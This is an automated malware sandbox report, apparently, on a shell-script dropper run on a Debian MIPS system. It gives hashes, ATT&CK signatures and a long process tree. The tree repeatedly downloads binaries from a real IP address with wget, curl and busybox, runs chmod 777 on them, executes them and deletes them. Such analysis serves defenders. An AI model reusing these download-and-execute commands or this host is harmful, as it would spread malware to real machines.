70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e

Analysis

max time kernel
138s
max time network
142s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/11/2024, 05:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
Size 10KB
Sample241102-gm3wpazfqp
SHA256 70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e
MD5 92818865aa1dc6bd2f591e45f5a7c5d0
SHA1 9c8d94fa0e6b6e97b47654ed36275ecd307f605f
SHA512 dad32a1ff8bc0d35e257386081952bd2b6c7ee1d6712826ec6f401f5626314205cdf43d63c9669070232010fc066b6e41fa7b7204d68873f611f13684daa53cf
SSDEEP 192:/198hXTCnHLUXP02OKAUzHLUXPpK198hXTWA:UQnHLUXP02dAUzHLUXPR4A
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod
914	chmod
968	chmod
806	chmod
872	chmod
878	chmod
938	chmod
908	chmod
956	chmod
762	chmod
821	chmod
920	chmod
932	chmod
944	chmod
726	chmod
784	chmod
844	chmod
860	chmod
866	chmod
884	chmod
896	chmod
740	chmod
812	chmod
890	chmod
902	chmod
926	chmod
950	chmod
962	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW	curl
File opened for modification	/tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY	curl
File opened for modification	/tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ	curl
File opened for modification	/tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW	curl
File opened for modification	/tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj	curl
File opened for modification	/tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d	curl
File opened for modification	/tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di	curl
File opened for modification	/tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO	curl
File opened for modification	/tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar	curl
File opened for modification	/tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO	curl
File opened for modification	/tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc	curl
File opened for modification	/tmp/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH	curl
File opened for modification	/tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di	curl
File opened for modification	/tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar	curl
File opened for modification	/tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d	curl
File opened for modification	/tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR	curl
File opened for modification	/tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU	curl
File opened for modification	/tmp/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH	curl
File opened for modification	/tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU	curl
File opened for modification	/tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR	curl
File opened for modification	/tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY	curl
File opened for modification	/tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc	curl
File opened for modification	/tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj	curl
File opened for modification	/tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ	curl
File opened for modification	/tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j	curl
File opened for modification	/tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j	curl
File opened for modification	/tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu	curl
File opened for modification	/tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu	curl

/tmp/70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
/tmp/70640127a3183667150003a27c6a4b06ea5e4fb10fb3e18607220e7033fb4f3e.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  PID:723
- /bin/chmod
  chmod 777 NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  ./NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  - Executes dropped EXE
  PID:727
- /bin/rm
  rm NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  PID:729
- /usr/bin/wget
  wget http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  PID:733
- /bin/chmod
  chmod 777 sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  ./sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  PID:739
- /bin/chmod
  chmod 777 Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  ./Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  PID:755
- /bin/chmod
  chmod 777 UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  ./UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  PID:766
- /usr/bin/wget
  wget http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  PID:781
- /bin/chmod
  chmod 777 yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  ./yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  PID:790
- /usr/bin/wget
  wget http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  PID:804
- /bin/chmod
  chmod 777 E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  ./E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  PID:808
- /usr/bin/wget
  wget http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  PID:811
- /bin/chmod
  chmod 777 EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  ./EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  PID:814
- /usr/bin/wget
  wget http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  PID:817
- /bin/chmod
  chmod 777 1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  ./1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm 1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  PID:825
- /usr/bin/wget
  wget http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  PID:840
- /bin/chmod
  chmod 777 FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  ./FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  PID:848
- /usr/bin/wget
  wget http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  PID:859
- /bin/chmod
  chmod 777 kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  ./kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  PID:865
- /bin/chmod
  chmod 777 uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  ./uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  PID:871
- /bin/chmod
  chmod 777 QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  ./QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  PID:877
- /bin/chmod
  chmod 777 Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  ./Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  PID:883
- /bin/chmod
  chmod 777 bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  ./bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  PID:889
- /bin/chmod
  chmod 777 yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  ./yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  PID:895
- /bin/chmod
  chmod 777 E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  ./E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  PID:901
- /bin/chmod
  chmod 777 EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  ./EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  PID:907
- /bin/chmod
  chmod 777 1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  ./1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm 1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  PID:913
- /bin/chmod
  chmod 777 Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  ./Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  PID:919
- /bin/chmod
  chmod 777 bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  ./bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  PID:925
- /bin/chmod
  chmod 777 FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  ./FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  PID:931
- /bin/chmod
  chmod 777 kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  ./kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  PID:937
- /bin/chmod
  chmod 777 uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  ./uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  PID:943
- /bin/chmod
  chmod 777 QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  ./QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  PID:949
- /bin/chmod
